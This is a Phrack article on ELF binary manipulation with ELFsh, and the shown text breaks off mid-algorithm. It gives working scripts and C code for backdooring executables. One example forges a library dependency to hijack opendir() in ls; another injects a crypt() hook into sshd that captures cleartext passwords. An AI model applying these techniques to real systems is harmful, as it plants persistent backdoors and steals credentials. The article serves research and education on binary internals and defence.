==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f |=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=| |=----------------------------------------------------------------------=| |=------------------=[ The Cerberus ELF Interface ]=------------------=| |=----------------------------------------------------------------------=| |=------------------=[ mayhem ]=------------------=| 1. Introduction 2. Quick and usable backdoor in 4 bytes a/ The .dynamic section b/ DT_NEEDED and DT_DEBUG entries c/ Performing function hijacking d/ Example 1: ls and opendir() 3. Residency : ET_REL injection into ET_EXEC a/ Section injection : pre-interp vs post-bss b/ Multiple BSS merging c/ Symbol tables merging d/ Mixing (a,b,c) for injecting a module into an executable e/ Example 2: sshd and crypt() f/ Multi-architecture algorithms g/ ELFsh 0.51b relocation engine implementation details 4. Infection : ALTPLT technique a/ Foundations of ALTPLT b/ ALTPLT on SPARC c/ Example 3: md5sum and fopen64() d/ Multi-architecture algorithm e/ Improvement suggestions for the redir command 5. The end ? 6. Greets 7. References -------[ 1. Introduction This article introduces three new generic techniques in ELF (Executable and Linking Format) objects manipulation. The first presented one is designed to be simple and quickly implemented, others are more complex and allow advanced software extension without having the source tree. These techniques can be used for a wide panel of requirements such as closed-source software debugging, software extension, backdooring, virii writing, intrusion detection and intrusion prevention. The examples will make use of the ELF shell [1], a freely available scripting language to modify ELF binaries. It works on two architectures (INTEL and SPARC) and four operating systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the techniques work even if the target machine is installed with address space randomization and execution restriction, such as PaX [2] protected boxes, since all the code injection is done in the allowed areas. ELF basics -will not- be explained, if you have troubles understanding the article, please read the ELF TIS [3] reference before requesting extra details ;). You can also try another resource [4] which is a good introduction to the ELF format, from the virus writing perspective. In the first part of the paper, an easy and pragmatic technique for backdooring an executable will be described, just by changing 4 bytes. It consists of corrupting the .dynamic section of the binary (2) and erase some entries (DT_DEBUG) for adding others (DT_NEEDED), plus swapping existing DT_NEEDED entries to give priority to certain symbols, all of this without changing the file size. The second part describes a complex residency technique, which consists of adding a module (relocatable object ET_REL, e.g. a .o file) into an executable file (ET_EXEC) as if the binary was not linked yet. This technique is provided for INTEL and SPARC architectures : compiled C code can thus be added permanently to any ELF32 executable. Finally, a new infection technique called ALTPLT (4) will be explained. This feature is an extension of PLT infection [5] and works in correlation with the ET_REL injection. It consists of duplicating the Procedure Linkage Table and inject symbols onto each entry of the alternate PLT. The advantages of this technique are the relative portability (relative because we will see that minor architecture dependant fixes are necessary), its PaX safe bevahior as well, and the ability to call the original function from the hook function without having to perform painful tasks like runtime byte restoration. Example ELFsh scripts are provided for all the explained techniques. However, no ready-to-use backdoors will be included (do you own!). For peoples who did not want to see these techniques published, I would just argue that all of them have been available for a couple of months for those who wanted, and new techniques are already in progress. These ideas were born from a good exploitation of the information provided in the ELF reference and nothing was ripped to anyone. I am not aware of any implementation providing these features, but if you feel injuried, you can send flame emails and my bot^H^H^H^H^H^H I will kindly answer all of them. -------[ 2. Quick and usable backdoor in 4 bytes Every dynamic executable file contains a .dynamic section. This zone is useful for the runtime linker in order to access crucial information at runtime without requiring a section header table (SHT), since the .dynamic section data matches the bounds of the PT_DYNAMIC segment entry of the Program Header Table (PHT). Useful information includes the address and size of relocation tables, the addresses of initialization and destruction routines, the addresses of version tables, pathes for needed libraries, and so on. Each entry of .dynamic looks like this, as shown in elf.h : typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is the related value. Let's use the elfsh '-d' option to print the dynamic section: -----BEGIN EXAMPLE 1----- $ elfsh -f /bin/ls -d [*] Object /bin/ls has been loaded (O_RDONLY) [SHT_DYNAMIC] [Object /bin/ls] [00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [02] Address of init function => 0x08048F88 {DT_INIT} [03] Address of fini function => 0x0804F45C {DT_FINI} [04] Address of symbol hash table => 0x08048128 {DT_HASH} [05] Address of dynamic string table => 0x08048890 {DT_STRTAB} [06] Address of dynamic symbol table => 0x08048380 {DT_SYMTAB} [07] Size of string table => 821 bytes {DT_STRSZ} [08] Size of symbol table entry => 16 bytes {DT_SYMENT} [09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG} [10] Processor defined value => 0x0805348C {DT_PLTGOT} [11] Size in bytes for .rel.plt => 560 bytes {DT_PLTRELSZ} [12] Type of reloc in PLT => 17 {DT_PLTREL} [13] Address of .rel.plt => 0x08048D58 {DT_JMPREL} [14] Address of .rel.got section => 0x08048D20 {DT_REL} [15] Total size of .rel section => 56 bytes {DT_RELSZ} [16] Size of a REL entry => 8 bytes {DT_RELENT} [17] SUN needed version table => 0x08048CA0 {DT_VERNEED} [18] SUN needed version number => 2 {DT_VERNEEDNUM} [19] GNU version VERSYM => 0x08048BFC {DT_VERSYM} [*] Object /bin/ls unloaded $ -----END EXAMPLE 1----- The careful reader would have noticed a strange entry of type DT_DEBUG. This entry is used in the runtime linker to retrieve debugging information, it is present in all GNU tools generated binaries but it is not mandatory. The idea is to erase it using a forged DT_NEEDED, so that an extra library dependance is added to the executable. The d_val field of a DT_NEEDED entry contains a relative offset from the beginning of the .dynstr section, where we can find the library path for this entry. What happens if we want to avoid injecting an extra library path string into the .dynstr section ? -----BEGIN EXAMPLE 2----- $ elfsh -f /bin/ls -X dynstr | grep so .dynstr + 16 6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock .dynstr + 48 696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so. .dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp .dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso $ -----END EXAMPLE 2----- We just have to choose an existing library path string, but avoid starting at the beginning ;). The ELF reference specifies clearly that a same string in .dynstr can be used by multiple entries at a time: -----BEGIN EXAMPLE 3----- $ cat > /tmp/newlib.c function() { printf("my own fonction \n"); } $ gcc -shared /tmp/newlib.c -o /lib/rt.so.1 $ elfsh Welcome to The ELF shell 0.5b9 .::. .::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software [ELFsh-0.5b9]$ load /bin/ls [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003 [ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG [SHT_DYNAMIC] [Object /bin/ls] [00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG} [ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED [*] Field set succesfully [ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19 [*] Field set succesfully [ELFsh-0.5b9]$ save /tmp/ls.new [*] Object /tmp/ls.new saved successfully [ELFsh-0.5b9]$ quit [*] Unloading object 1 (/bin/ls) * Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 3----- Lets verify our changes: -----BEGIN EXAMPLE 4----- $ elfsh -f ls.new -d DT_NEEDED [*] Object ls.new has been loaded (O_RDONLY) [SHT_DYNAMIC] [Object ls.new] [00] Name of needed library => librt.so.1 {DT_NEEDED} [01] Name of needed library => libc.so.6 {DT_NEEDED} [09] Name of needed library => rt.so.1 {DT_NEEDED} [*] Object ls.new unloaded $ ldconfig # refresh /etc/ld.so.cache $ -----END EXAMPLE 4----- This method is not extremely stealth because a simple command can list all the library dependances for a given binary: $ ldd /tmp/ls.new librt.so.1 => /lib/librt.so.1 (0x40021000) libc.so.6 => /lib/libc.so.6 (0x40033000) rt.so.1 => /lib/rt.so.1 (0x40144000) libpthread.so.0 => /lib/libpthread.so.0 (0x40146000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) $ Is the executable still working? $ ./ls.new AcroOlAAFj ELFSH_DEBUG ls.new newlib.c $ OK, so we found a good way to inject as much code as we want in a process, by adding a library dependance to the main object, the executable object. Now what if we want to hijack functions with such an easy technique? We can force some symbols to get resolved in priority over other symbols : when the runtime relocation is done (when the .got section is patched), the runtime linker will iterate on the link_map [6] [7] [8] list, find the first matching symbol, and fill the Global Offset Table related entry (or the Procedure Linkage Table entry if we are on SPARC) with the absolute runtime address where the function is mapped. A simple technique consists of swapping DT_NEEDED entries and make our own library to be present before other libraries in the link_map double linked list, and symbols to be resolved before the original symbols. In order to call the original function from the hook function, we will have to use dlopen(3) and dlsym(3) so that we can resolve a symbol for a given object. Lets take the same code, and this time, write a script which can hijack opendir(3) to our own function(), and then call the original opendir(), so that the binary can be run normally: -----BEGIN EXAMPLE 5----- $ cat dlhijack.esh #!/usr/bin/elfsh load /bin/ls # Move DT_DEBUG into DT_NEEDED set 1.dynamic[9].tag DT_NEEDED # Put the former DT_DEBUG entry value to the first DT_NEEDED value set 1.dynamic[9].val 1.dynamic[0].val # Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1 add 1.dynamic[0].val 3 save ls.new quit $ -----END EXAMPLE 5----- Now let's write the opendir hook code: -----BEGIN EXAMPLE 6----- $ cat myopendir.c #include #include #include #include #include #include #define LIBC_PATH "/lib/libc.so.6" DIR *opendir(const char *name) { void *handle; void *(*sym)(const char *name); handle = dlopen(LIBC_PATH, RTLD_LAZY); sym = (void *) dlsym(handle, "opendir"); printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n", sym, name); return (sym(name)); } $ gcc -shared myopendir.c -o rt.so.1 -ldl $ -----END EXAMPLE 6----- Now we can modify the binary using our 4 lines script: -----BEGIN EXAMPLE 7----- $ ./dlhijack.esh Welcome to The ELF shell 0.5b9 .::. .::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software ~load /bin/ls [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003 ~set 1.dynamic[9].tag DT_NEEDED [*] Field set succesfully ~set 1.dynamic[9].val 1.dynamic[0].val [*] Field set succesfully ~add 1.dynamic[0].val 3 [*] Field modified succesfully ~save ls.new [*] Object ls.new save successfully ~quit [*] Unloading object 1 (/bin/ls) * Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 7----- Let's see the results for the original ls, and then for the modified ls: $ ldd ls.new rt.so.1 => /lib/rt.so.1 (0x40021000) libc.so.6 => /lib/libc.so.6 (0x40023000) librt.so.1 => /lib/librt.so.1 (0x40134000) libdl.so.2 => /lib/libdl.so.2 (0x40146000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000) $ ls c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \ myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1 $ ./ls.new OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = . c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \ myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1 $ Nice. Note that the current implementation of this technique in ELFsh changes the size of the binary because it injects automatically some symbols for binary sanity. If you want to keep the same size, you have to comment the calls to elfsh_fixup_symtab in the ELFsh source code ;) . This stuff is known to be used in the wild. The dynamic version of this technique has been proposed in [9], where the author describes how to call dlopen() in a subversive way, so that the process get runtime linked with an extra library. In practice, both implementations have nothing in common, but it is worth mentionning. -------[ 3. Residency : ET_REL injection into ET_EXEC This second technique allows to perform relinking of the ELF ET_EXEC binary file and adding a relocatable object (ET_REL file aka .o file) into the program address space. This is very useful since it is a powerful method to inject as much data and code as needed in a file using a 5 lines script. Such relocation based backdoors have been developped in the past for static kernel patching [10] (ET_REL into vmlinuz) and direct LKM loading in kernel memory (ET_REL into kmem) [11] . However, this ET_REL injection into ET_EXEC implementation is in my sense particulary interresting since it has been implemented considering a larger scope of target architectures and for protected environments. Because ELFsh is also used for things other than backdooring, the SHT and the symbol table are kept synchronized when we insert our stuff into the binary, so that symbol resolving can be provided even in the injected code. Since the backdoor needs to stay valid on a PaX protected box, we use 2 different injection techniques (one for the code sections, the other for the data sections) called section pre-interp injection (because we insert the new section before the .interp section) and section post-bss injection (because we insert the new section after the .bss section). For this second injection type, .bss data physical insertion into the file is necessary, since .bss is the non-initialized data section, it is only referenced by the SHT and PHT, but it is not present in the file. Also, note that section pre-interp injection is not possible with the current FreeBSD dynamic linker (some assert() kills the modified binary), so all sections are injected using a post-bss insertion on this OS. This is not an issue since FreeBSD does not come with non-executable protection for datapages. If such a protection comes in the future, we would have to modify the dynamic linker itself before being able to run the modified binary, or make the code segment writable in sh_flags. Let's look at the binary layout (example is sshd, it is the same for all the binaries) : -----BEGIN EXAMPLE 8----- $ elfsh -f /usr/sbin/sshd -q -s -p [SECTION HEADER TABLE .::. SHT is not stripped] [Object /usr/sbin/sshd] [000] (nil) ------- foff:00000000 sz:00000000 link:00 [001] 0x80480f4 a------ .interp foff:00000244 sz:00000019 link:00 [002] 0x8048108 a------ .note.ABI-tag foff:00000264 sz:00000032 link:00 [003] 0x8048128 a------ .hash foff:00000296 sz:00001784 link:04 [004] 0x8048820 a------ .dynsym foff:00002080 sz:00003952 link:05 [005] 0x8049790 a------ .dynstr foff:00006032 sz:00002605 link:00 [006] 0x804a1be a------ .gnu.version foff:00008638 sz:00000494 link:04 [007] 0x804a3ac a------ .gnu.version_r foff:00009132 sz:00000096 link:05 [008] 0x804a40c a------ .rel.got foff:00009228 sz:00000008 link:04 [009] 0x804a414 a------ .rel.bss foff:00009236 sz:00000056 link:04 [010] 0x804a44c a------ .rel.plt foff:00009292 sz:00001768 link:04 [011] 0x804ab34 a-x---- .init foff:00011060 sz:00000037 link:00 [012] 0x804ab5c a-x---- .plt foff:00011100 sz:00003552 link:00 [013] 0x804b940 a-x---- .text foff:00014656 sz:00145276 link:00 [014] 0x806f0bc a-x---- .fini foff:00159932 sz:00000028 link:00 [015] 0x806f0e0 a------ .rodata foff:00159968 sz:00068256 link:00 [016] 0x8080b80 aw----- .data foff:00228224 sz:00003048 link:00 [017] 0x8081768 aw----- .eh_frame foff:00231272 sz:00000004 link:00 [018] 0x808176c aw----- .ctors foff:00231276 sz:00000008 link:00 [019] 0x8081774 aw----- .dtors foff:00231284 sz:00000008 link:00 [020] 0x808177c aw----- .got foff:00231292 sz:00000900 link:00 [021] 0x8081b00 aw----- .dynamic foff:00232192 sz:00000200 link:05 [022] 0x8081bc8 -w----- .sbss foff:00232416 sz:00000000 link:00 [023] 0x8081be0 aw----- .bss foff:00232416 sz:00025140 link:00 [024] (nil) ------- .comment foff:00232416 sz:00002812 link:00 [025] (nil) ------- .note foff:00235228 sz:00001480 link:00 [026] (nil) ------- .shstrtab foff:00236708 sz:00000243 link:00 [027] (nil) ------- .symtab foff:00236951 sz:00000400 link:00 [028] (nil) ------- .strtab foff:00237351 sz:00000202 link:00 [Program header table .::. PHT] [Object /usr/sbin/sshd] [0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019) [2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224) [3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168) [4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200) [5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032) [Program header table .::. SHT correlation] [Object /usr/sbin/sshd] [*] SHT is not stripped [00] PT_PHDR [01] PT_INTERP .interp [02] PT_LOAD .interp .note.ABI-tag .hash .dynsym .dynstr \ .gnu.version .gnu.version_r .rel.got .rel.bss \ .rel.plt .init .plt .text .fini .rodata [03] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic [04] PT_DYNAMIC .dynamic [05] PT_NOTE .note.ABI-tag $ -----END EXAMPLE 8----- We have here two loadable segments, one is executable (matches the code segment) and the other is writable (matches the data segment). What we have to do is to inject all non-writable sections before .interp (thus in the code segment), and all other section's after .bss in the data segment. Let's code a handler for crypt() which prints the clear password and exit. In this first example, we will use GOT redirection [12] and hijack crypt() which stays in the libc: -----BEGIN EXAMPLE 9----- $ cat mycrypt.c #include #include #include #include int glvar = 42; int bssvar; char *mycrypt(const char *key, const char *salt) { bssvar = 2; printf(".:: crypt redirected -key- = %s (%u .::. %u) \n", key, glvar, bssvar); exit(0); } $ gcc -c mycrypt.c $ -----END EXAMPLE 9----- Using the 'reladd' command, we will inject mycrypt.o into sshd: -----BEGIN EXAMPLE 10----- $ cat etreladd.esh #!/usr/bin/elfsh load /usr/sbin/sshd load mycrypt.o # Inject mycrypt.o into sshd reladd 1 2 # Modify crypt() got entry and make it point on mycrypt() which resides # into mycrypt.o set 1.got[crypt] mycrypt save sshd.new quit $ ./etreladd.esh Welcome to The ELF shell 0.5b9 .::. .::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software ~load /usr/sbin/sshd [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003 ~load mycrypt.o [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003 ~reladd 1 2 [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd ~set 1.got[crypt] mycrypt [*] Field set succesfully ~save sshd.new [*] Object sshd.new save successfully ~quit [*] Unloading object 1 (mycrypt.o) [*] Unloading object 2 (/usr/sbin/sshd) * Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 10----- Our script rocked. As I said, the symbol tables and the .bss from the module have been fused with those from the executable file and the SHT has been kept synchronized, so that resolving is also possible in the injected code: -----BEGIN EXAMPLE 11----- $ elfsh -f sshd.new -q -s -p [SECTION HEADER TABLE .::. SHT is not stripped] [Object sshd.new] [00] (nil) ------- foff:00000000 sz:00000000 link:00 [01] 0x80450f4 a-x---- .orig.plt foff:00000244 sz:00004096 link:00 [02] 0x80460f4 a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00 [03] 0x80470f4 a-x---- mycrypt.o.text foff:00008436 sz:00004096 link:00 [04] 0x80480f4 a------ .interp foff:00012532 sz:00000019 link:00 [05] 0x8048108 a------ .note.ABI-tag foff:00012552 sz:00000032 link:00 [06] 0x8048128 a------ .hash foff:00012584 sz:00001784 link:07 [07] 0x8048820 a------ .dynsym foff:00014368 sz:00003952 link:08 [08] 0x8049790 a------ .dynstr foff:00018320 sz:00002605 link:00 [09] 0x804a1be a------ .gnu.version foff:00020926 sz:00000494 link:07 [10] 0x804a3ac a------ .gnu.version_r foff:00021420 sz:00000096 link:08 [11] 0x804a40c a------ .rel.got foff:00021516 sz:00000008 link:07 [12] 0x804a414 a------ .rel.bss foff:00021524 sz:00000056 link:07 [13] 0x804a44c a------ .rel.plt foff:00021580 sz:00001768 link:07 [14] 0x804ab34 a-x---- .init foff:00023348 sz:00000037 link:00 [15] 0x804ab5c a-x---- .plt foff:00023388 sz:00003552 link:00 [16] 0x804b940 a-x---- .text foff:00026944 sz:00145276 link:00 [17] 0x806f0bc a-x---- .fini foff:00172220 sz:00000028 link:00 [18] 0x806f0e0 a------ .rodata foff:00172256 sz:00068256 link:00 [19] 0x8080b80 aw----- .data foff:00240512 sz:00003048 link:00 [20] 0x8081768 aw----- .eh_frame foff:00243560 sz:00000004 link:00 [21] 0x808176c aw----- .ctors foff:00243564 sz:00000008 link:00 [22] 0x8081774 aw----- .dtors foff:00243572 sz:00000008 link:00 [23] 0x808177c aw----- .got foff:00243580 sz:00000900 link:00 [24] 0x8081b00 aw----- .dynamic foff:00244480 sz:00000200 link:08 [25] 0x8081bc8 -w----- .sbss foff:00244704 sz:00000000 link:00 [26] 0x8081be0 aw----- .bss foff:00244704 sz:00025144 link:00 [27] 0x8087e18 aw----- mycrypt.o.data foff:00269848 sz:00000004 link:00 [28] (nil) ------- .comment foff:00269852 sz:00002812 link:00 [29] (nil) ------- .note foff:00272664 sz:00001480 link:00 [30] (nil) ------- .shstrtab foff:00274144 sz:00000300 link:00 [31] (nil) ------- .symtab foff:00274444 sz:00004064 link:00 [32] (nil) ------- .strtab foff:00278508 sz:00003423 link:00 [Program header table .::. PHT] [Object sshd.new] [0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192) [1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019) [2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512) [3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340) [4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200) [5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032) [Program header table .::. SHT correlation] [Object sshd.new] [*] SHT is not stripped [0] PT_PHDR [1] PT_INTERP .interp [2] PT_LOAD .orig.plt mycrypt.o.rodata mycrypt.o.text .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.got .rel.bss .rel.plt .init .plt .text .fini .rodata [3] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic .sbss .bss mycrypt.o.data [4] PT_DYNAMIC .dynamic [5] PT_NOTE .note.ABI-tag $ -----END EXAMPLE 11----- The new sections can be easily spotted in the new SHT, since their name starts with the module name (mycrypt.o.*). Please elude the .orig.plt presence for the moment. This section is injected at ET_REL insertion time, but it is not used in this example and it will be explained as a stand-alone technique in the next chapter. We can see that the new BSS size is 4 bytes bigger than the original one. It is because the module BSS was only filled with one variable (bssvar), which was a 4 bytes sized integer since this specific example was done on a 32 bits architecture. The difficulty of this operation is to find the ET_REL object BSS section size, because it is set to 0 in the SHT. For this operation, we need to care about variable address alignement using the st_value field from each SHN_COMMON symbols of the ET_REL object, as specified by the ELF reference. Details for this algorithm are given later in the article. It works on Solaris as well, even if ET_REL files generated by Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2 implementation has one more limitation on Solaris, which is a 'Malloc problem' happening at the first malloc() call when using a section post-bss injection. You dont have to use this kind of section injection ; ET_REL injection works well on Solaris if you do not use initialized global variables. This problem has been solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols so that they still points on the beginning of the heap (e.g. at the end of the last post-bss mapped section, or at the end of the bss, if there is no post-bss mapped section). Also, the .shstrtab, .symtab, and .strtab sections have been extended, and now contain extra symbol names, extra section names, and extra symbols copied from the ET_REL object. You can note that pre-interp injected sections base address is congruent getpagesize(), so that the executable segment always starts at the beginning of a page, as requested by the ELF reference. ELFsh could save some place here, instead of allocating the size of a page each time a section is injected, but that would complexify the algorithm a bit, so the congruence is kept for each inserted section. The implementation has the cool advantage of -NOT- having to move the original executable address space, so that no relocation of the original code is needed. In other words, only the .o object sections are relocated and we can be sure that no false positive relocation is possible (e.g. we -DO NOT- have to find all references in the sshd code and patch them because the address space changed). This is the injected code section's assembly dump, which contains the mycrypt function: -----BEGIN EXAMPLE 12----- $ elfsh -f sshd.new -q -D mycrypt.o.text 080470F4 mycrypt.o.text + 0 push %ebp 080470F5 mycrypt.o.text + 1 mov %esp,%ebp 080470F7 mycrypt.o.text + 3 sub $8,%esp 080470FA mycrypt.o.text + 6 mov $2, 08047104 mycrypt.o.text + 16 mov ,%eax 08047109 mycrypt.o.text + 21 push %eax 0804710A mycrypt.o.text + 22 mov ,%eax 0804710F mycrypt.o.text + 27 push %eax 08047110 mycrypt.o.text + 28 mov 8(%ebp),%eax 08047113 mycrypt.o.text + 31 push %eax 08047114 mycrypt.o.text + 32 push $ 08047119 mycrypt.o.text + 37 call 0804711E mycrypt.o.text + 42 add $10,%esp 08047121 mycrypt.o.text + 45 add $0xFFFFFFF4,%esp 08047124 mycrypt.o.text + 48 push $0 08047126 mycrypt.o.text + 50 call 0804712B mycrypt.o.text + 55 add $10,%esp 0804712E mycrypt.o.text + 58 lea 0(%esi),%esi 08047134 mycrypt.o.text + 64 leave 08047135 mycrypt.o.text + 65 ret -----END EXAMPLE 12----- Lets test our new sshd: $ ssh mayhem@localhost Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type mayhem@localhost's password: <--- type your passwd Connection closed by 127.0.0.1 $ Let's verify on the server side what happened: $ ./sshd.new -d debug1: Seeding random number generator debug1: sshd version OpenSSH_3.0.2p1 debug1: private host key: #0 type 0 RSA1 debug1: read PEM private key done: type RSA debug1: private host key: #1 type 1 RSA debug1: read PEM private key done: type DSA debug1: private host key: #2 type 2 DSA debug1: Bind to port 22 on 0.0.0.0. Server listening on 0.0.0.0 port 22. debug1: Server will not fork when running in debugging mode. Connection from 127.0.0.1 port 40619 debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1 debug1: match: OpenSSH_3.5p1 pat ^OpenSSH Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1 debug1: Rhosts Authentication disabled, originating port 40619 not trusted debug1: list_hostkey_types: ssh-rsa,ssh-dss debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: client->server aes128-cbc hmac-md5 none debug1: kex: server->client aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent debug1: dh_gen_key: priv key bits set: 127/256 debug1: bits set: 1597/3191 debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT debug1: bits set: 1613/3191 debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: KEX done debug1: userauth-request for user mayhem service ssh-connection method \ none debug1: attempt 0 failures 0 Failed none for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ publickey debug1: attempt 1 failures 1 debug1: test whether pkalg/pkblob are acceptable debug1: temporarily_use_uid: 1000/31337 (e=0) debug1: trying public key file /home/mayhem/.ssh/authorized_keys debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1 debug1: restore_uid Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ keyboard-interactive debug1: attempt 2 failures 1 debug1: keyboard-interactive devs debug1: auth2_challenge: user=mayhem devs= debug1: kbdint_alloc: devices '' Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2 debug1: userauth-request for user mayhem service ssh-connection method \ password debug1: attempt 3 failures 2 .:: crypt redirected -key- = mytestpasswd (42 .::. 2) $ Fine. If you want extreme details on the implementation, please read the ELFsh code, particulary libelfsh/relinject.c. For the academic audience, the pseudo-code algorithms are provided. Because ET_REL injection is based on BSS and Symbol table fusion, section pre-interp injection, section post-bss injection, SHT shifting, SHT entry insertion, symbol injection, and section data injection, all those algorithms are also available. The BSS physical insertion is performed only once, at the first use of post-bss injection. The general algorithm for ET_REL injection is as follow: 1/ Fuse ET_REL and ET_EXEC .bss sections 2/ Find and inject ET_REL allocatable sections into ET_EXEC 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols) 4/ Relocate each injected section if its .rel(a) table is available Now let's give some details ;) --------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::. 1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo) 2/ FOREACH section in ET_REL object [ IF section is a/ allocatable (sh_flags & SHF_ALLOC) b/ non-null sized (sh_size != 0) c/ data-typed (sh_type == SHT_PROGBITS) [ IF section is writable -or- OS is FreeBSD [ - Inject post-bss section into ET_EXEC ] ELSE [ - Inject pre-interp section into ET_EXEC ] ] ] 3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm) 4/ FOREACH section in ET_REL object [ IF a/ section has been injected in 2. (same conditions) b/ section needs relocation (.rel.sctname is found in ET_REL) [ - Relocate the section ] ] --------[ BSS fusion algorithm - Insert ET_EXEC BSS physically if not already done (see next algo) FOREACH symbol from the ET_REL object [ IF symbol points into the BSS (st_shndx & SHN_COMMON) [ WHILE ET_EXEC .bss size is not aligned (sh_size % st_value) [ - Increment by 1 the .bss size field (sh_size) ] - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size - Add symbol size to ET_EXEC .bss size (sh_size) ] ] ---------[ BSS physical insertion algorithm FOREACH PHT entry [ IF a/ segment is loadable (p_type == PT_LOAD) b/ segment is writable (p_flags & PF_W) [ - Put p_memsz value into p_filesz - End of algorithm ] ] --------[ Symbol Tables fusion algorithm FOREACH symbol in ET_REL object [ IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT) [ - Get parent section for this symbol using st_shndx field IF Parent section has been injected in 2. (same conditions) [ - Add section's base address to the symbol value - Inject new symbol into ET_EXEC ] ] ] --------[ Section pre-interp injection algorithm - Compute section size congruent with page size - Create new section's header - Inject section header (see SHT header insertion algorithm) FOREACH PHT entry [ IF a/ segment type is loadable (p_type == PT_LOAD) b/ segment is executable (p_flags & PF_X) [ - Add section's size to p_filesz and p_memsz - Substract section's size from p_vaddr and p_paddr ] ELSE IF segment type is PT_PHDR [ - Substract section's size from p_vaddr and p_paddr ] ELSE [ - Add section's size to p_offset ] ] - Shift SHT (see algorithm below) ---------[ Section post-bss injection algorithm - Create new section's header - Inject section header (see SHT header insertion algorithm) FOREACH PHT entry [ IF a/ segment is loadable (p_type == PT_LOAD) b/ segment is writable (p_flags & PF_W) [ - Add section's size to p_memsz and p_filesz - End of algorithm ] ] - Shift SHT by the section size (see next algorithm) ---------[ SHT shifting algorithm FOREACH SHT entry [ IF current linked section (sh_link) points after new section [ - Increment by 1 the sh_link field ] IF current file offset > injected section file offset [ - Add injected section sh_size to current sh_offset ] ] ---------[ SHT header insertion 